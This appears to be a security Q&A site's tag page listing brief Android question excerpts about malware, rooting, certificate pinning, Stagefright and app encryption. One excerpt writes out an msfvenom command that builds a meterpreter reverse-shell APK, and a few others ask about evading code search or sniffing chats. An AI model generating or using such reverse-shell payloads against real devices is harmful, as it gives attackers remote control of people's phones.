Android is an operating system for mobile devices such as smartphones and tablet computers. Questions tagged [Android] should focus on security of the operating system itself, or of Android specific apps

learn more… | top users | synonyms

2
votes
0answers
24 views

Are deleted offline calendar events in Android actually deleted?

When an Android app deletes a calendar event in a local (offline / non-synced) calendar, does Android's Calendar Storage (com.android.providers.calendar) actually delete the event or does it just flag ...
2
votes
2answers
156 views

Block mobile tethering on android phones from Windows (DLP)

In our small organisation I have tried my best at implementing DLP by: Making sure users access all files from the server Local disks are denied access (forced to work only on network drives) ...
0
votes
2answers
65 views

File types and ways that can infect Android devices with malware [closed]

From what sources can an Android device be infected with malware? What various file types, executable or non executable, can infect an Android device with malware?
0
votes
0answers
13 views

Attacker's Potential Scope of Dmg if He/She can SSH into Android Phone

I've recently started researching the ability to SSH into an Android device. From what I've seen, this is a figured out challenge, which makes me wonder how much damage an attacker could do. Let's ...
3
votes
2answers
340 views

Google Chrome on Android constantly being redirected

I have an Android (5.0.1 with December 2015 patches). My problem is with Chrome (latest version as per Google Play Store). Which has malicious redirect going on to ...
2
votes
1answer
82 views

What to do with an APK file containing Swf.Exploit.CVE_2015_0323-1 and ELF File?

I received an APK file from a source. Prior to installation, I ran a virus scan on it. The result had following main features: The file contained Swf.Exploit.CVE_2015_0323-1 It required android....
1
vote
1answer
61 views

Making an encrypted SMS app (Android) [closed]

From my limited googling I've noticed that a lot of the mainstream encrypted messaging apps all are either (or a combination of!) closed-source, run through an uncontrolled third-party server, use a ...
60
votes
3answers
4k views

Are staggered roll outs of security patches bad?

Many Android devices, including the Google Nexus line, are now receiving monthly security patches via OTA updates, accompanied by the Android Security Bulletins. However, these updates are often ...
5
votes
1answer
101 views

Why does Android care about differentiating multiple fingerprints?

I was reading through the Android Compatibility Definition document after a friend pointed me there while we were discussing fingerprint scanners and other biometric authentications. I noticed this ...
5
votes
1answer
323 views

Android, how to protect in case of theft

What are some steps to take into account to protect an Android phone in case of theft? Smartphones are everywhere now, before the market was dominated by Blackberry and Windows Mobile. These days ...
5
votes
3answers
223 views

How to check if your Android app was updated by MitM?

As I was browsing on my phone yesterday, a gray popup appeared on my screen just as I was swiping up, and I accidentally hit the accept button. In the fraction of a second it was on I was able to read ...
1
vote
0answers
66 views

Diffie Hellman Key Exchange in a messaging application

I'm currently a student that is trying to develop a messaging application on android using java that will implement diffie hellman key exchange in order to ensure that they both will be able to ...
1
vote
0answers
66 views

Android not connected to kali linux with meterpreter in metasploit

I keep running into an error. I create an apk: msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4444 R > test.apk In the console, I configure the multi/handler: set PAYLOAD ...
5
votes
2answers
202 views

Can I safely store credit card data in an app?

I am using a payment gateway in my app. I'm thinking of storing credit card numbers without the CVC numbers in my app. Storing the CC number eliminates the requirement of re-entering the CC number. ...
3
votes
2answers
207 views

Android Malware Dataset

I am working on a project to identify the author of the malicious apk. To test my results I need dataset of malicious apks along with their authors. Currently I am working on a dataset which is very ...
0
votes
0answers
37 views

Android client side data encoding/encryption bypass

I am working on Android application security project where Android application sends all data in encryption from client side only. I assume that there must be a file at client side which might be ...
1
vote
1answer
52 views

Android keystore passwords leaked

We develop Android applications and by mistake following strings were sent within custom Android project folder to several clients: keyAlias keyPassword storePassword The .keystore file itself was ...
2
votes
2answers
50 views

How can I secure the usage of root access on android, given that I have regular updates?

the situation: I use Android 5.1 I'm running the "rooted" variant of fairphone OS, which means that: I can enable Root access in the developer settings, i.e. I don't need to exploit my phone. ...
2
votes
0answers
23 views

How can I ensure that phone app traffic is using HTTPS? [duplicate]

When I access a website, I know just by looking at the URL whether it's HTTPS or HTTP. If I'm using an app on my phone, I cannot see this. So if say the app wants me to enter a password in to create ...
4
votes
1answer
84 views

Steps to recommend after people connect Android devices to questionable open WiFi access points

What are the appropriate steps to recommend for people to take after they connect their Android device to questionable open WiFi access points? When I say "people", I mean friends and colleagues. I ...
1
vote
0answers
68 views

Android Rooting and Evil Maid Attacks

I'm trying to learn more about full disk encryption (in the context of a Linux based server) and what schemes offer true security and which only offer the illusion of security. As I understand it, ...
2
votes
2answers
204 views

Secure copy-paste from phone to computer

Some computers on my university block the keepass application which I use as a password manager. I'm thinking of building a small web application + Android app which lets me securely copy a string ...
-4
votes
1answer
69 views

How do I stop a snooper: phone and computer [closed]

Someone is snooping on me. They can see my location, text messages, and pictures (even if I don't send them to anyone), and also my download and web browsing history. Someone is reading my old juicy ...
3
votes
2answers
108 views

My cellphone is infected, and it keeps coming back

Please bear with me as English is not my native language My Android smartphone downloads apps automatically without any interaction. Generally the apps are known but some are unknown apps. I can only ...
2
votes
0answers
46 views

Why more Android applications (compared to iOS) use certificate pinning? [closed]

I used mitmproxy to test the same 50 apps on iOS and Android and noticed that more than 50% of the Android applications compared to 23% of iOS, used certificate pinning. Is there any explanation as ...
0
votes
2answers
814 views

Sniffing WhatsApp chat using Wireshark

Suppose two persons are using WhatsApp on Android. How can I see the communication between them if I have Wireshark running on a PC listening on network interface card? I know the communication ...
13
votes
1answer
362 views

Bank complains about rooted Android. Is it really any worse than a Windows desktop?

When I use my bank's Android application, the app notices that my phone is rooted and puts up a message with a big red "danger" symbol and a message saying "vulnerable device." I totally understand ...
1
vote
0answers
41 views

How to “stealthily” call a Java function to avoid text search?

Assume I am an attacker, I want to call an API function from an Android app, say Build.getRadioVersion(). But I want to keep this call stealthy, i.e., it cannot be searched through, e.g., grep ...
1
vote
2answers
120 views

How to protect against request intercepting and parameter-tampering? [duplicate]

My problem is that I made an app and I am making PHP Requests. I just realized that you can sniff everything on Android with "Packet Capture". How can I make my app more secure? I thought about ...
1
vote
0answers
61 views

Charles Proxy: Genymotion with certificate pinning

Is there anyway I can use charles proxy with an android app that is using certificate pinning? I read this thread: http://blog.attify.com/2015/08/24/intercepting-network-traffic-android/ and it says ...
2
votes
1answer
307 views

Can malware spread via bluetooth file transfer in Android?

I am aware of some malware that spreads when two devices are paired using Bluetooth; but can malware spread when sending a clean file to someone or receiving it via bluetooth ? If so, does it need ...
1
vote
1answer
46 views

Securely opening an insecure webserver to a single phone

I have a webserver running inside my private network and not exposed to the internet. I'd like to securely talk to this webserver from my mobile phone over the internet. However, this webserver has ...
6
votes
2answers
476 views

How to effectively detect a rooted device on Android?

Nowadays for detecting a rooted device, some applications perform static checks such as for example the case of GoogleWallet https://www.joeyconway.com/blog/2014/03/29/android-detect-root-access-from-...
1
vote
0answers
29 views

Are there any Android device dumps available to be used as datasets?

I'm interested in finding Android device data dumps so as to use in my PhD research, concerning data analysis. I have only been able to encounter two sources online; one of them unavailable at the ...
0
votes
0answers
42 views

Stagefright 2.0 - CVE-2015-3876 fix

Im currently studying Stagefright2.0 bugs. I'm wondering how the CVE-2015-3876 was fixed. I know it was caused by an integer overflow and the fix can be found here: https://android.googlesource.com/...
1
vote
0answers
44 views

Are Web Services vulnerable to CSRF?

I'm testing an android application, it uses web services for every action, so I saw the requests don't have tokens or another anti-automation mechanism, they just need to validate a token to identify ...
5
votes
1answer
117 views

Wasn't WhatsApp messages already encrypted?

According to this article, which was written in 2014, WhatsApp had partnered with Open Whisper System to make its (text based) messages encrypted. So what's the big change now that Whatsapp's ...
3
votes
3answers
127 views

SSL Certificate in my hosting makes me change my java code?

Sorry for my stupid question. But I really want to know what is gonna happen.. I have a webservice hosted over the http protocol. I wanna buy an SSL certificate to have my webservice hosting with ...
1
vote
0answers
35 views

Security implications of Android apps that require Accessibility access

Occasionally, an Android app will require access to Accessibility services. As an example, see App Hibernator. What are the security implications of allowing an app access to Android's Accessibility ...
1
vote
0answers
39 views

Do Android Security Measures Work on an Unlocked Bootloader?

Let's assume we have an Android device with: Unlocked bootloader Full Device Encryption Password lockscreen Will Android security measures (FDE and password lock) still be able to prevent data ...
6
votes
1answer
61 views

Can play store applications be tampered with by Google?

Can play store applications be tampered with by Google? I understand that other apps are "unsigned" so you need to have applications from unknown sources turned on. However, Google Apps are "signed" ...
52
votes
2answers
12k views

How exactly does the Stagefright Vulnerability work on Android?

Digital Trends describes the Stagefright Vulnerability thus: The exploit in question happens when a hacker sends a MMS message containing a video that includes malware code. What’s most alarming ...
1
vote
0answers
48 views

Have there been any known “in the wild” exploits of any Google Chrome (Android) 40.0.2214.89 vulnerabilities?

https://www.cvedetails.com/vulnerability-list/vendor_id-1224/product_id-15031/version_id-179594/Google-Chrome-40.0.2214.89.html I looked for any news about them and couldn't find anything. Anyone ...
3
votes
3answers
60 views

Is attacking a password manager on android with root access a plausible concern?

There is a password manager app for Android that I'm considering using, that reads a database format for a popular desktop password manager. There is one part of this app that is giving me pause; I've ...
0
votes
1answer
96 views

Java / Android Client-Server application. Digital certificates and CAs

I'm currently developing an application for Android that will allow users to back up their data on a server, which I am also developing in Java. I've pretty much completed the development of the ...
1
vote
1answer
201 views

Network Security with EAP: PEAP and Phase 2: MSCHAPv2?

I want to connect to my college WiFi but I’m worried about the security (data leakage, hacks, MITM). The configuration I used to connect to my college WiFi is as follows, EAP: PEAP Phase 2: MSCHAPv2 ...
6
votes
3answers
181 views

Android full disk encryption

I am using Android 4.4.4. There is an option called phone storage encryption. From what I have read the crypto is secure. However, I read this article which said Google is able to reset passwords: ...
0
votes
2answers
111 views

Can Chrome browser history be seen on work wifi, even if not re-loaded?

I use the work wifi daily but am always conscious of using work related sites. However Android tends to keep most apps running in the browser so my windows(tabs) are never essentially closed down. ...
4
votes
2answers
60 views

How to check and trust call encryption software

There are lots of software for mobile operating systems providing end-to-end encryption. What is the best way to decide which one is trustworthy if their source is not revealed? Reverse engineering ...
4
votes
1answer
576 views

Exploitation of Reflected XSS on Android App

I am trying to do a security evaluation of an android application. I came across a situation where one of the activities of the app displays certain form fields in a webview. This form is very ...